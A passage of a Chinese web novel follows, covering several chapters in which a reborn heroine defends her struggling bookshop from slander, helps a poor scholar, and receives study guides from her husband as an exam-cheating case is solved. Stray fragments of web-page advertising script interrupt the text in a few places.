地上的那群学子瞬间将目光全都转移至叶青漓身上,即使看不清她的脸,也不妨碍他们对着她的帷帽露出厌恶鄙夷的目光。 “书铺生意怎么样?” 曹掌柜得了叶青漓的嘱咐,现在心里已经不那么慌了。 “除了一个时辰之前走了一大批抄书的学子外,与平日并无两样。” “嗯。” 叶青漓点点头,继续往里走。 经过第一个书架时,被身后一人叫住。 “你就是三甲书铺的主子?这个黑心掌柜的东家?” 叶青漓回身,看清了说话之人坐在几人中间,他说话时身边的几个学子不约而同望着他,显然是这几个人中领头的。 叶青漓透过帷帽的轻纱望着他,语气淡淡,“正是,不知这位公子有何指教?” “哼!指教谈不上,我只是想好心提醒姑娘一句,做生意可不是你们这样做的!” “哦?”叶青漓彻底转过身来,语气疏离,“我不明白公子何意?” 那人见叶青漓语气温温柔柔的,只当她是个没有主见的富家小娘子,得了些零花钱就乱开铺子,说话间语气更加鄙夷。 “你家铺子里的书有问题,你知道吗?” “公子饭可以乱吃,话可不能乱说!你说我铺子里的书有问题,还请拿出证据来!” “证据自然有,我们几个一起来这间铺子抄书的,可是短短几天时间,就有一人被官兵抓走了!” 叶青漓微微耸肩,“所以呢?这和我的铺子有什么关系?” 叶青漓不在乎的语气令那人气愤,今日他在众多同窗的见证下为自己的好友讨回公道,代表着正义的一方。这个只识黄白之物的女子不赶紧道歉认错,发动全铺子的伙计去找人就算了,竟然还用这种语气和自己说话? 简直是在羞辱自己! 恼羞成怒下,他往前迈了一步,“人是在你的铺子里被抓的,你们自该找他回来!” 话音落下,帷帽内发出一声嗤笑,那学子愤懑不已的脸更加红了。 “你还是没说明白,这和我的铺子,我的书,有什么关系?这天底下做坏事的人多了去了,官兵抓他们自然也不会挑地方,难道因为我开的是卖圣贤书的铺子,坏人就不会踏足,官兵就不能进来抓人?” “你,你,你……!” 那人气到指着叶青漓却说不出话来,你了好几句才憋出一句,“你别想污蔑王兄,他才不是坏人!” “哦?公子有证据证明他不是坏人吗?” “我……!” “何兄别被她带歪了,咱们没来抄书之前都好好的,是因为这三甲书铺让我们抄那劳什子辩证之道的书,王兄才会当众被官兵抓走,临走之前那官兵还说要查验王兄手里的书,自然是这铺子的书有问题!” “没错!就是你铺子里的书有问题!” 何姓书生被同伴提醒,连忙将重点转向书铺的书。 “是你铺子里的书害得害得王兄被官兵抓走!事实摆在众人眼前,你还有什么好说的?”他说罢,又补了一句,“而且你那书若不是有问题,你为何不高价卖出去,反而低价请我们抄书,这不是明摆着有问题吗?” “对呀!” “是呀!” “你的书一定有问题!” “害人的书还让我们抄,赔钱!赔钱!” 何姓书生话了,他身旁的几个学子连忙异口同声开始声讨,最终只有一个目的——让叶青漓赔钱。 如此颠倒黑白,恩将仇报,直接把叶青漓看笑了!< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> “呵呵!” 她冷笑两声,帷帽之下的双眼里满是讽刺。 “我高价进书,低价租笔墨请你们抄写,再高价买回,是看在诸位家境清寒,又认真苦读的份上,想给诸位春闱前一份小小的助力。” “之所以没有直接给银子让你们享受生活,是怕你们得了巨款,不思进取,反而拿出去花天酒地,误了考试。而且我三甲书铺的书,没有一本不是精品,你们只要认真抄写,不说千遍百遍,只要能抄下十遍,心中自有进益!” “诸位才高八斗,一腔抱负,不会看不出来那些书的含金量吧?” 闹事的学子中有几人心虚地低下头,他们从看见那些书的第一眼就知道其中的奥妙,可同窗出事也让他们担忧不已。与其在书铺里苦行僧一般抄书理解其意,不如狠狠敲这书铺一笔,到时候有了银子,什么样的书买不来? 叶青漓冷眼瞧着几人的表情,心中已经明白了他们的选择,语气也越发讽刺起来。 “还是说,诸位看不上书中的颜如玉,只想要现实世界里的金元宝?” 几人的头埋得更低! “你有辱斯文!” “我们都是读书人,怎么可能如你揣测的那般目光短浅,心思恶毒?你的书有问题是事实,你休想逃避!今日你不把王兄找回来,给予我们应有的赔偿,我们几个是不会走的!” 何姓书生义愤填膺,双目圆瞪,恨不得瞪穿帷帽,让叶青漓受到正义的谴责,“我们几个虽不算多么出名,也是正经的举人,在进京的读书人里还算是有几分薄面,你若是不想开不下去铺子,就快些赔偿!” “好啊!我的三甲书铺也是正经在官府备案的,铺子里受到地痞无赖的骚扰也可以向官府寻求帮助!你若是有胆,就随我去官府走一遭,看看官府的人是让我赔偿,还是治你一个骚扰民生的罪!” “去就去!” “何兄,不可!” 何姓书生还要再说什么,身后忽然冒出一只手拉住他的胳膊,“春闱在即,咱们若是因为这些事闹上公堂未免影响主考官对我们的印象,千万不可为了同窗就毁了自己的前程!” “可……!” “何兄莫急,这三甲书铺就开在这,跑不了!我这些日子也瞧了,来买书的人不多,书铺里多是像我们这样前来抄书赚取银钱的学子。只要我们把今日发生的事情宣扬出去,以后没有人来书铺抄书,看他们还能无赖到几时?” 两人明目张胆商量着如何搅黄自己的生意,叶青漓见了只觉得好笑,正要开口提醒,头顶忽然传来一个义正言辞的声音。 “三甲书铺请学子抄书,本就是不赚钱的生意,东家出于善心如此做,不外乎是想全了我们脸面,送我们些银子,再赠我们一场眼界。你们却为着一些小事纠缠不清,公然陷害,实在是读书人之耻!” “谁?谁在说话?” 何姓书生和他身后的几人一齐抬头,恰好看见一个弱冠男子顺着楼梯缓缓走下来。 男子一身粗布麻衣洗得发白,脚下一双单薄布鞋,如此天气,常人早已冻得瑟瑟发抖,他却面色如常,只唇色微白,一双眸子坚毅刚强,嫉恶如仇,让人见了心生无限好感! “在下寒州,甄良义。” 话落,方才还一脸凶恶的何姓书生瞬间变了脸色,他身后的人更是讶异失言,“甄良义,是他?” 帷帽后,叶青漓看着那个熟悉的身影,红唇微动,“是他……” 只有曹掌柜看着几人大惊失色的样子,丈二和尚摸不着头脑,“甄良义是谁?” 21. 甄良义 叶青漓还未开口,何姓书生已经替他解惑。 “甄良义,寒州人士,年幼早慧。十四岁参加童试,中案首,帮被侵占土地的乡邻打官司,告倒了恶霸,并把和恶霸勾结的县令拽下马;十五参加乡试,中解元,家中无故遭难,一家子死于大火,孤身潜入仇家取证,交到官府,大仇得报;守孝期间,还帮助官府查清一桩二十年前的冤案,还了犯人清白。” “此人熟悉法度,聪慧无双,若非当初家逢大难,早就是一方父母官!此次春闱,若无意外,他必定上榜!” 叶青漓听着何姓书生的讲述,眼睑微垂。 的确,以甄良义的才学春闱必能上榜,可偏偏,上一世就出了那么一点意外! 家中出事后他身无分文,身有傲骨的他不肯接受其他人的接济,凭自己的本事攒了两年才攒够上京赶考的银子。 谁料,因为省吃俭用,衣衫单薄,一场突如其来的风寒让他在科举场上头昏眼花,强撑着病体考完后便彻底昏倒,醒来时发现自己名落孙山。 家人罹难,他忍辱负重亲自送仇家上断头台,身无分文,他努力积攒路费,只为在春闱考场上扬眉吐气,可惜一朝失败彻底将他击倒! 自己上一世遇见他时,他身上没有半分现在意气风发的影子。 说起来,若非自己及时救下他,沈仕楣上一世的官路也不能那般顺畅! 何姓书生说罢,有些畏惧地看了甄良义一眼。 相比起对方连中两元,声名远扬,自己显得有些不够看! 他回身看了眼站在身后的几位同窗,几人下意识挺直腰杆,何姓书生瞬间有了勇气,捏紧拳头不服气道:“店家让我们这些身负功名的举人为他抄书,将来高价卖出,也是占了我们的便宜,不过是些小恩小惠,如何能蒙蔽我们的双眼,让我们弃王兄与不顾?” “若王兄一日没有回来,我们便一日不踏足这三甲书铺!” “对!” “没错!我们以后都不来了!” “一言为定!” 何姓书生挺起胸膛说得掷地有声,叶青漓当然不会让他失望,立刻应下,“只要你那位同窗没清白回来,我这三甲书铺就不欢迎你们!曹掌柜,送客!” “是!” 话都说到这个份上,几人也没有继续留下的必要,互相看了对方几眼,又缩着头瞟了眼叶青漓身后的甄良义,心不甘情不愿地离开了。 几人走后,书铺门前瞬间亮堂许多。 “多谢公子仗义执言!” 叶青漓戴着帷帽,向甄良义礼貌点头,曹掌柜见状也跟着上前拱手。 “今日多谢公子相帮,公子眼清目明,明辨是非,日后定能高中!” 甄良义一直绷着的嘴角因为这句话有了微微松动,叶青漓见状暗自摇头。果然,在他心里科举还是如此重要,哪怕只是一句简单的祝福都能轻易撬动他的心房。 “在下不过举手之劳,掌柜的客气了!” 甄良义说罢,敏锐地察觉到有一道目光落在自己衣服上,循着目光望去,正是书铺东家,他侧着身子将袖口的破损遮住,轻咬牙道:“若没有旁的事,我就继续抄书去了。” “且慢!” 叶青漓忽然开口叫住他,“自古锦上添花易,雪中送炭难。今日我三甲书铺虽未到生死存亡之际,却也着实遭人污蔑。甄举人不与他们同流合污,且能为我书铺正言,实在大义!” 她扭头跟曹掌柜吩咐道:“曹掌柜,甄举人帮了我们这么大的忙,我们是不是该好好谢谢他?” “东家……” 曹掌柜有些不解,有东家出面,那几人根本掀不起什么浪来,这位甄公子不过口头帮腔一句,当面道谢就罢了,还要怎么感谢? 正疑惑之际,又听叶青漓道:“我这书铺刚刚开张,也没什么进益,那些金子银子的都给不起,若是甄举人不嫌弃,我让曹掌柜给你准备一件可在三甲书铺免费看书的凭证如何?” 甄良义原本要开口拒绝,听得‘免费看书’四个字时忽又顿住。 三甲书铺的书不多,却精! 曹掌柜每日让他们抄写的那些都是一些较为浅显的言论,针对那些未曾参加过科考的举子来说有效,对自己却毫无用处,而更加深奥的道理都摆在一个单独的书架上,非书铺贵客不可翻阅。 如今的自己显然是做不了这个贵客的! 甄良义犹豫之际,叶青漓已经拍板决定,唯有曹掌柜依旧两眼懵圈地看着叶青漓。 他们书铺,可从来没有什么免费看书的凭证啊! 解决完离开的学子们,叶青漓又上楼看了眼留下的人。不出她所料,留下的人大多是和甄良义一般囊中羞涩的。叶青漓的视线不经意间与回到座位上的甄良义相交,二人对视过后,互相点头,坐在甄良义身旁的两人有感,抬头看过来,也跟着点头示意,而后继续埋头抄书,十分认真。 在叶青漓这里抄书,不仅能有更好的复习环境,还能给自己挣些银子,减轻花销上的压力,何乐而不为。 对于这些留下的人,叶青漓也没吝啬,让曹掌柜将他们今日的抄书费提到两倍,算是对他们愿意相信书铺表示感谢。 几十两银子送出去后,曹掌柜有些肉疼地来到叶青漓跟前诉苦。 “东家,咱们书铺开张还没几天,不挣银子,反而每日往外倒贴,这是不是不对啊?”曹掌柜说着,急忙又补充一句,“我不是要质疑东家的计划,只是今日以两倍价格收书,实在没必要啊!” 叶青漓看着书铺新开业后的账本,悠闲地吹了口茶上氤氲的雾气,“如今有人在外面说我的三甲书铺有问题,我自然要找些人来和他们打擂台,几十两银子丢出去,以后再有人污蔑书铺,这些人自然会主动帮我们说话。” 曹掌柜细细思索一番,忍不住拍手叫好。 “东家说得是,我怎么没想到呢?不行,我得再去二楼给那几个举子上点眼药,遇到今日那几个讹人的他们可得记得怼回去!” 看着平日稳重老成的曹掌柜风风火火的,叶青漓不禁摇头失笑。 曹掌柜不知道的是,那几十两银子确实是用来收买人心的,主要目的却不是为了让他们为书铺洗清冤屈,而是要留下他们。 此间无人,叶青漓放松身子,顺势靠倒在躺椅上,细细翻看着账本,曹掌柜一笔一笔记录得十分详细,三甲书铺自重新开张到如今,的确每日都在亏钱。 可那又怎样,此届前三甲都在她的书铺里,以后还愁没有生意吗? * 事 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 实的确如叶青漓所料,官兵当众抓人并非个例,京城许多地方都有人被官兵抓走,只是三甲书铺特别倒霉,被抓走的学子手里还拿着书铺的书,官兵又说了那么一句似是而非的话,加上何姓书生和那几个书生的造谣,三甲书铺的书有问题一事很快传遍京城学子圈。 三甲书铺自重新开业以来,因为其独特的生意风格以及远超同行的抄书价格,早就在学子圈里小有名气,如今经过何姓书生一行人的造谣,更是臭名远扬。尽管包括甄良义在内,留在书铺的几个学子一直为书铺辩解,却还是抵不过以讹传讹。 甚至原本留在书铺抄书的学子也一日比一日少了! 书铺生意冷落,曹掌柜急得嘴上生了老大一个火泡。 “东家,这样下去不是办法啊!若是任由那些人这样造谣,咱们这生意就做不下去了!尤其您还有那样全面的计划,这样根本没法实施啊!” 曹掌柜经营过浆麻铺,亲眼看着铺子从盛到衰,再到倒闭,如今三甲书铺给他的感觉,距离关门不久了! 叶青漓却依旧镇定自若,耐心安慰曹掌柜,“放心,书铺的名声会好起来的,只是时间的问题。” 只要科举舞弊一案告破,那些学子偷买试题的消息早晚会泄露出来,到时候,孰是孰非众人便一目了然了!据叶青漓估计,也就在这几日了,太子总不能接手这等大事,还留到过年后再查清。加上自己提醒顾承宴有人暗中作梗,想来案子很快就能结束。 曹掌柜听腻了叶青漓的安慰,面色没有丝毫和缓,叶青漓不禁摇头,忍不住跟他说了更多,“那些人想走就走吧,我的计划没有他们也一样能继续进行。” “怎么可能没关系?”提到这个,曹掌柜当即较起真来,“东家说要用抄书的法子吸引进京赶考的学子,从中挑出成绩优异的与之交好,待其中榜后再借机炒热书铺。如今人都走了,还怎么挑出好的?” 曹掌柜太过激动,叶青漓正束手无策时,一个人影忽然出现在二人面前。 “掌柜的,东家。” “是甄举子啊,有事吗?” 今日的甄良义穿着一身暖和的棉衣,身上的行头从头到脚都是叶青漓命曹掌柜重新置办。 他本要拒绝这近乎施舍的感激,偏偏叶青漓又让人在衣服上做了些手脚,甄良义身上,从围帽、衣袖、衣摆甚至到鞋面处都缝着一个特殊的图案,日头好的时候,他在太阳底下转一圈,衣服上也能显现出一个一模一样的底纹——正是三甲书铺的标志! 这样一身保暖舒适的棉衣,因为重重标志的加持,被叶青漓定义为‘免费看书’的凭证,若要看书铺内那些奥义更深的书,必须要穿着这样一身行头,少一个都不行! 甄良义初时心中极为不适,可后来拗不过对书中精妙知识的渴望,还是褪下了自己那洗得发白的薄衫,到现在,已经能穿着这身衣服自如行走在大街上了。 他并非不通人情世故的稚子,明白掌柜的和东家都是在接济自己,甚至贴心为自己找了个借口,以照顾他那卑微的自尊。加上方才无意间听见两人的对话,甄良义心中涌起一股难以言喻的冲动。 “东家放心,我一定会一举高中!让东家赚个盆满钵满!” “呦,哪里来的小子竟敢说这种大话?!” 22. 借钱 一道年轻靓丽却略显刻薄的女声从门口传来。 三人回头望去,只见一女子身材窈窕,身披正红色狐皮大氅,手握靛蓝色鸢尾花暖炉,身后跟着四五个鼻孔朝天的丫鬟,趾高气昂地站在门口,一双张扬的丹凤眼,正居高临下地看着甄良义。 她眼底满是不屑,语气更是讥讽,“南朝科举何其严苛,便是京城贵胄出身的公子们,也不敢断言自己能一举高中,你一介草民,谁给你的胆子说这种大话?!” 甄良义本就是在曹掌柜和叶青漓的几番照顾下,心中激动才有感而发,没想到会被其他人听见,更没料到会引来对方的嘲讽。 他握了握拳,正要回答。 叶青漓合上手里的账本,忽然站了出来,嘴角熟稔勾起一抹笑,“回门一别,许久未见,姐姐今日怎么有空来我这了?” “自然是来看看我的好妹妹成日里在忙活些什么?没想到你成日净跟这些口出狂言的人在一起!” 叶青漓脸上笑容未变。 “世人科举都是为了中榜,他这样说可没有错。若是到了这一步,连一句大话都不敢说,那还有什么考试的必要?不如早早收拾回家种地去。” 叶蕙珠没料到叶青漓会反驳自己,眉心一蹙,刚要开口,叶青漓又道:“曹掌柜,这位是我义姐,礼部侍郎家的千金,我二人许久未见,想要聚聚,你带着这位公子先上去吧。” 曹掌柜一早就知道叶蕙珠是个不好惹的! 虽然他原先是叶家铺子的掌柜,可如今铺子易主,他也只认叶青漓一个东家,是以十分利落地带着甄良义离开。 甄良义听见叶蕙珠的身份,胸中的微怒彻底熄火。 科举在前,礼部侍郎的千金还是不要招惹为好! 叶蕙珠并不在意两人的离开,她此来的目的是叶青漓。 叶蕙珠迈步走进店内,环顾四周,不由得皱眉,“我记得这家铺子原是家里的,想来是母亲给你做了陪嫁,怎么被你搞成这个样子了?” 叶青漓看着自己干净整洁的书铺,不明所以。 “这个样子怎么了?” 叶蕙珠不怀好意地撇了她一眼,捂唇轻笑,“妹妹难道不知道?你这间铺子在京城读书人里已经出了名了!听说是你四处倒腾的书有问题,导致一名学子被官兵抓走了!妹妹,生意可不是这么做的呀!” 叶蕙珠嘴上说着好话,语气中却全是幸灾乐祸。 她本就看不惯这个义妹,也不知她在父亲面前使了什么诡计,竟让父亲背着母亲直接认了她!虽说这一世大婚时叶青漓并没有和自己一样出丑,可是这些日子自己打听得清清楚楚的,顾承宴并未与她圆房,她依旧是个笑话! 想来,她一个来路不明的义女,除了性子软和点实在一无是处,顾国公府的人对自己尚且百般挑剔,对叶青漓一定更加苛刻! 果不其然,大婚才不到一个月,她竟被逼得出来做生意了! 叶蕙珠想着,眼底是遮不住的嘲讽,“南朝女子抛头露面做生意的少,妹妹想是在顾府日子过得不如意,所以自己出来做生意?” 她走到叶青漓面前,抬手轻拍叶青漓肩膀两下,笑得一脸得意,“你虽不是父亲亲生的,却也占着一个义字,到底算是我妹妹,若日子实在难过,大可以同我说说,我倒是能借你一些,好歹过个好年。” “好啊!”叶青漓脸上并未有丝毫难看,反而兴奋地看向叶蕙珠,黝黑的双眸发着光,“姐姐如此大方,我就不与你客气了,我这铺子亏损不少,姐姐心善,不若借我五百两银子周转?” “你疯了吧?!” 母亲为她二人准备的嫁妆里,现银拢共才一千两,叶青漓竟然张口就朝自己要五百两?! 虽然自己有母亲私下贴补,嫁妆远不止一千两,但是怎么可能用来给叶青漓做生意? 叶蕙珠张口提借钱,打的是看好戏的主意。 女子面皮薄,想来叶青漓即便在顾府过得不好,铺子亏损,为着面子也会在自己面前遮掩一二。自己想看的就是她明明过得苦不堪言却还要故作坚强,在自己面前漏洞百出的样子。 可谁能告诉自己,现在这个在自己面前笑得一脸灿烂,伸手朝她要钱的女人,真的是她那个懦弱又没有主见的义妹吗? 叶蕙珠猛地后退两步,像是第一次认识叶青漓一样,仔细打量了一番,注意到叶青漓身上连珠宝首饰都没有时,心底才悄悄松了口气,果然是个日子过得苦巴巴的蠢货。 “妹妹莫不是做生意做得头脑发昏了,我的嫁妆银子自己都不够用,哪里能有五百两银子给你?” 这句话是借口,也是事实! 沈家日子比上不足,比下有余。 偏叶蕙珠过惯了千金大小姐的生活,在沈家的吃穿用度全都要按着在叶家时的来。沈仕楣自然想给她好的,奈何沈家能供出他一个举人已是不易,自然不能满足叶蕙珠。 叶蕙珠惯来不是个委屈自己的,直接拿出嫁妆银子交给裘氏,让她保证自己的日常生活依旧维持在叶家的水准。裘氏见着银子,就像老鹰看见兔子一样,立刻收下,向叶蕙珠再三保证,一定让她过得舒舒服服的! 这些日子以来,叶蕙珠的日子也的确和在家里没什么两样,唯一让她烦心的是,给裘氏的银子花得太快了。 想到这,叶蕙珠眼中晦暗一闪而过。 叶青漓捕捉到叶蕙珠的眼神变化,她虽然没有亲眼看见叶蕙珠在沈家的生活,却也能猜个七七八八。 沈仕楣大男子主义,不屑于用妻子的嫁妆,可沈家其他人就不一定了。尤其裘氏爱财如命,除非把钱用在沈仕楣身上,否则别想让她出一枚铜板。瞧叶蕙珠身上新做的大氅,还有头上新打的首饰,她在沈家的日子一定不错,不过如果让裘氏碰到她的银子,以后恐怕…… “姐姐既然没银子,为什么要提借钱的事?” “我……” 叶蕙珠一噎,她自然是想看叶青漓的笑话! 借钱不能提,叶蕙珠很快换个话题。 “我是听夫君说起近日京城有个三甲书铺,里面的书新奇又深奥,有些见解连他之前都没有想到,所以对这书铺有些兴趣。只是没想到这铺子这么快就要倒闭了!” 叶蕙珠又把话题引到铺子上,颇为可惜地对着叶青漓身后的书架摇了摇头。 “啧啧,可惜了,这么多好书,往后再也看不见了。” “姐姐这句话就不对了,书铺只是卖书的,只要铺子里还有值得买的书,自然就会一直有生意。” “是吗?”叶蕙珠闻言轻笑,“那我就拭目以待了!” * 腊月里昼短夜长,叶青漓回到顾府时,天色还亮着。 与往日不同,她刚下马车,便有一名小厮通知她,顾承宴请她过去。 叶青漓有些错愕,她这位便宜夫君在自己面前一向是没有存在感的,若不是自己主动去找他,即使两人同在一个屋檐下,也根本见不到一面。 今日是太阳打西边出来了,他竟要主动见自己? 叶青漓心中疑惑着,脚下却并未听写,跟着小厮一路来到覃竹园。 守门的依旧是那个叫竹页的,这一次,他并未阻拦叶青漓,反而在叶青漓经过时,恭敬地低下头。 叶青漓步入顾承宴的书房,第一感觉是温暖。腊月里的寒气,在进门的一瞬间,被温暖的火炉融化,周身洋溢着浓浓的暖意。 叶青漓舒服地喟叹一声,抬头就看见顾承宴正坐在桌旁,桌上还防着一些东西。 “夫君,你找我?” 即便是再听一百次,顾承宴依旧不习惯一个女子如此自然熟稔地叫自己夫君。 他微微点头以示回应,抬手示意叶青漓坐在另一边。 叶青漓应声坐下,顾承宴开门见山。 “我听闻你的书铺出了些事,现在怎么样了? (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ” “没想到夫君日理万机,还能注意到我那一家小铺子。”叶青漓照旧先露出一个甜美的微笑,适当的表达赞美后,颇有些苦恼地皱起眉头,“是出了一点茬子,生意也少了大半。” 顾承宴看她皱眉,不自觉也跟着拧眉,然而下一瞬,叶青漓展露欢颜,“不过没关系的,我一个人可以搞定的!” 只要你的案子能结束得快一点,自己就能少些损失。 虽然两人都没明说,可是顾承宴也知道叶青漓书铺生意,是受了科举舞弊一案的影响。若非案情泄露,有人想要通风报信,也就不会有官兵当众抓人这一出。 她一个弱女子,在顾府无可依靠之人,在娘家无血缘亲人,只能凭她自己的本事做些生意,却因为自己一时疏忽遭受损失,实在不该。 顾承宴这般想着,顺手将桌上的东西推到叶青漓面前。 “我去看过你书铺里的书,想来这些东西对你的铺子会有帮助。” 叶青漓还以为顾承宴是来告诉自己案情进展的,未料到他会忽然送自己一摞书! 她愕然眨了眨眼,拿起一本翻看,寥寥几眼后,霎时正色起来,甚至没来得及和顾承宴打声招呼,她已经一鼓作气将桌上的一摞书全都翻了个遍,直到翻完最后一本,叶青漓才抖着声音问道。 “这书是哪来的?” “我的。” “你买的?” “我写的。” 一瞬间,叶青漓再次具象化了五年前那个顾国公府大公子!这般才华,当时家族继承人的不二人选啊! 顾承宴将叶青漓愣神的样子尽收眼底,手指摩挲衣角,忍不住问道:“有什么问题吗?” “没问题!” 叶青漓将一摞书紧紧抱在怀里,尔后抬头小心翼翼地觑向顾承宴。 “这些真的是送给我的?” “嗯。” “你以后不会又要回去吧?” “不会。” “不反悔?” “不反悔!” “多谢夫君!我还有事,我先走了!爱你哦!” 叶青漓抱着书,脚底生风,趁顾承宴没反应过来,立刻出了门,顾承宴抬头看去时,只能看见她匆匆的步伐,像是生怕谁跟她抢东西似的。 顾承宴看着叶青漓离去的背影,回忆着她最后一句话。 半晌摇头失笑。 本来想跟她说案情结束了,以后书铺生意会好起来的,现在看来不必了。 叶青漓从顾承宴那得了好书,立刻抱着一路小跑回了蔚莲阁。 采莲看着她气喘吁吁的模样,险些以为有人在后面追着叶青漓。 “小姐,这是怎么了?” 叶青漓冲她展示了一番怀中的书,采莲却依旧一头雾水,“这书怎么了?” “这书绝了!” 顾承宴文采斐然,若他愿意科考,这一届的状元非他莫属。他自己所著的几本书,从四书五经到明法(法律)、时务策、帖经、杂文均有详细指导。可以说是南朝版的五三!尤其是其中一本明算(数学)尤为详细,自己虽然接受过先进教育,能看懂科举的试卷,却绝对写不出顾承宴这样让人通俗易懂的指导书。 有了这个,以后想来她书铺的人只会更多! 叶青漓都能想到自己以后数钱数到手抽筋的场景了! 不行,这么好的东西不能白白便宜了那些书生,万一再出一个像何姓书生那样的人,看了自己铺子里的书,最后中榜还来骂自己,自己一定接受不了! 要看这些书的人,还是得设个门槛……最起码,得和甄良义一样优秀才行! 叶青漓抱着这摞书想了一晚上,好几次被自己梦中数钱的笑声惊醒。一直到第二天天际犯了白,她才有了些困意。 偏在此时,采莲进屋叫醒了她。 “小姐,快醒醒,出大事了!科举舞弊的事情泄露了!” 23. 案情告破 叶青漓瞬间惊醒! “什么?怎么会这样?” 采莲一脸焦急,“奴婢也不明白,今日一早我去小厨房的时候,听起厨房的几个婆子在谈论此事。连她们都知道这事了,想来定是泄露消息了!” 采莲的话顿时将叶青漓最后一丝困意彻底惊走,她连忙起身,派人去打听消息,待得知舞弊案是由太子当众在早朝汇报,这会儿消息传到宫外引得众人讨论时,瞬间有些哭笑不得看着采莲。 采莲听完顾府下人的讲述,也意识到自己会错意了。 她有些羞赤地低着头,小声嗫喏道:“奴婢还以为是自己不小心说梦话走漏了风声,一时心慌,所以就忘了去求证……” 采莲的头几乎要低到胸口处,叶青漓不由失笑,伸手抬起她的额头。 “无妨。你也是关心则乱,若不是我带你去了白云观,叫你知晓这些内情,这些日子你也不用提心吊胆的,以后多注意就是。” 确实如叶青漓所说,采莲之前从未想过自己有一天还能比圣上更早知道科举舞弊这种大事! 这案子在被调查的时候,采莲每天都睡不好觉,生怕自己迷迷糊糊说了什么梦话,就泄露了消息。 如今,案情告破,她终于可以安心了。 采莲放松下来,忽然想到一件事,眼睛亮亮地看着叶青漓,“小姐,案子破了,那咱们书铺的生意是不是就能好起来了?” 毕竟书铺的名声是因为那个被带走的学子才臭的,如今科举舞弊一案告破,那学子被抓走的原因清晰可见,三甲书铺自然清白了! “你说得不错!” 叶青漓想到自己的铺子,心情瞬间好起来。 “今日我倒要去看看那些不长眼的,还有什么可说的?采莲,快帮我更衣,咱们去书铺!” 叶青漓带着采莲飞速赶往书铺,今日书铺果然人满为患。叶青漓戴在头上的帷帽险些被铺子里的人挤掉。 好不容易到了内室,曹掌柜上来就咧着张嘴冲叶青漓道喜,“恭喜东家,咱们书铺终于等来清白了!”曹掌柜说着,将他着人抄来的府衙门前的红示递上来,“那个学子竟是因为偷买泄露出来的科举试题被抓的,与咱们书铺的书没有丝毫关系!如今真相大白,咱们书铺的冤屈也洗清,日后再也不必担心那几个小人的污蔑了!” “真是想不到,临近科考,竟还有人敢泄露试题?!” 曹掌柜话中不乏惊讶和唾弃,然而更多的还是高兴! 曹掌柜是真的很高兴! 他为人老实,更重情义,叶青漓这样的东家对他来说实在是可遇不可求。 他比任何人都希望三甲书铺能生意爆火! 叶青漓接过看了一眼,上面郑重声明之前的科举试题被泄露,圣上已经命人重新制定试题,为防止此类事件再次发生,此次科考的检查流程也会比以往更严苛!那几个偷买试题被抓的学子,也尽数被取消科考资格,甚至以后也再不许考,除此之外,还要要戴枷三个月示众,杖一百,最后发往边疆充军。 参与此案泄题,印刷,售卖者,则直接诛九族! 叶青漓脑海中一闪而过白云观那位必安师弟的脸,他将试题藏入供果,私自售卖,想来也没有好下场。 就是不知道,自己那位好父亲有没有掺和一脚?如果他也参与了舞弊案,自己身为外嫁女,应该不会被牵连吧? 叶青漓心底忽然生出一股小小的担忧。 “东家,这是什么东西?” 叶青漓恍神之际,曹掌柜已经眼尖地发现了她带来的书。 三甲书铺现如今能有这么多资质优良的藏书,除了曹掌柜眼光独到,颇有经验外,叶青漓上一世的经历也给了她很多便利。因之前叶青漓也曾收集藏书带来书铺,曹掌柜下意识就打开一本看了起来。 下一瞬,他瞪圆了眼睛,瞳孔微缩,浑身血液沸腾起来,老泪纵横地看着叶青漓,“东家,这,这是哪里来的书?” 叶青漓初次看见顾承宴写的书时也十分震惊,曹掌柜此刻欣喜若狂她丝毫不觉意外,“这是我夫君所著,他知晓书铺遇到难处,特意送来帮我解困的。” “东家的夫君……” 那不就是顾国公府的大公子吗? 曹掌柜虽然整日忙于生意,却也听过一嘴顾承宴的事迹。听说他曾经才华横溢,不想却昏了头去做了道士。曹掌柜初听闻叶青漓嫁的是他时,心中还为叶青漓惋惜许久。如今看见这书,他瞬间不这么想了! 大公子好啊! 就得是大公子这般学富五车的人,才配得上东家这样的奇女子! 曹掌柜将一整摞书揽到自己怀里,笑得红光满面,“既然是大公子写的书,我一定会好好保管!” “曹掌柜客气了,书写出来就是给人看的。”叶青漓放下红示,目光落在那摞书上,“掌柜的只需挑选值得的人,借他们一观即可。” 值得的人,曹掌柜瞬间明白叶青漓的意思,“东家是说,这书先给那位甄举子看看?” 叶青漓点头,“嗯,除他之外,还有两人资质也不错,劳掌柜的费心多观察几日,若是觉得好,便也借他们阅览一遍。” “我知道了。” 曹掌柜说罢,立刻抱着书找地方将它们供起来了。 眼看着书铺生意好起来,叶青漓便不再多费心,全权交给曹掌柜去打理。 回府里正打算歇息几日,许久未曾碰面的四弟妹郑氏忽然出现在蔚莲阁。 “今儿太阳打西边出来了,四弟妹怎么到我这来了?” 郑氏似是没听出叶青漓话中微讽,笑得温和,“我早就想和大嫂亲近亲近,奈何大嫂不常在府中,每日请安后也是走得最早的,叫人连影子都抓不着。没办法,我只好亲自上门来了!” 叶青漓闻言淡笑一记,“是我的不是了,竟没注意到四弟妹的心思,四弟妹若是不忙,不如今晚就在蔚莲阁宿下,你我二人把酒谈心?也好亲近亲近?” 郑氏嘴角一抽,忙笑道:“大嫂说笑了,你和大哥正是新婚头一个月,我怎么好做那惹人嫌的。今日来的确有事,不过却不是我要找你,而是母亲。” “哦?可是婆母有什么事吩咐?” “吩咐谈不上,两日后泾阳候的孙子满月,咱们府上同泾阳候府也算有些关系,婆母特让我来通知你。” “泾阳候?” 叶青漓瞬间想起那个重金给自己添妆,当着陆怡珊的面给她添堵的雍容妇人。 “我嫁进府中时日尚短,倒是不知咱们与泾阳候也有亲戚。只是天寒地冻的,这种事情怎好劳动四弟妹亲自跑一趟,随便叫个下人传话不就是了?” “原是三嫂要来的,可是她大着肚子,婆母不放心,只好我这个闲人来走一趟了。”郑氏唇边忽而勾起一抹诡异的微笑,看着叶青漓说道:“三嫂不知为何,怀孕之后日日忧心,每日连个生人都不敢见,好像生怕有人抢了她的孩子似的!” 